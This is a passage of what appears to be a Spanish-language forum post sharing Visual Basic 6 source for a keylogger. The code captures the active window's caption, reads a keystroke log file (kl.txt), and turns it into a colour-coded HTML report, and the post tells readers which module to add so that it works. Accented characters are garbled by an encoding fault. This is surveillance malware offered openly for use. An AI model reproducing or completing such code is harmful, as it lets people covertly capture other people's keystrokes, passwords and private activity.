'Este es un Buffer de caracteres que le pasaremos a GetWindowText para obtener el caption de la ventana activa
Buffer$ = String(TextTam&, 0&)
'Le pasamos a GetWindowText el hwnd de la ventana activa, el buffer y el tama๑o anterior
Call GetWindowText(HandleWin&, Buffer$, TextTam& + 1)
'Asignamos a la funci๓n el caption
ObtenerCaption$ = Buffer$ & vbCrLf & ">>>>"
End Function
'*********************************************************************
'Esta funci๓n genera el c๓digo Html para visualizar el archivo Log _
en este formato.
'*********************************************************************
Private Sub generarHTML()
Dim linea As String
Open "C:\Documents and Settings\User\Escritorio\j\Guardian\kl.txt" For Input As #2
Open App.path & "\archivolog.html" For Output As #3
Print #3, "" + vbCrLf + "" + vbCrLf
While Not EOF(2)
Line Input #2, linea$
'Si la linea contiene la palabra ventana
'ponemosmos el color rojo a esa lํnea mediante la etiqueta Font
If InStr(1, linea$, "ventana", 1) Then
Print #3, "<font color=red>"; linea$; "</font>"
Else
'Si no establecemos el color es negro
Print #3, "<font color=black"; ; ">"; linea$; "</font>"
End If
Print #3, "<BR>" 'Para hacer un salto de carro en el c๓digo Html
DoEvents
Wend
Print #3, "" + vbCrLf + "" 'Cerramos el c๓digo Html
Close #2
Close #3
End Sub
Private Sub Timer2_Timer()
Timer2.Enabled = False
grabarArchivo
End Sub
Y este es el M๓dulo que ten้s que agregar para que funcione:
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Saludos...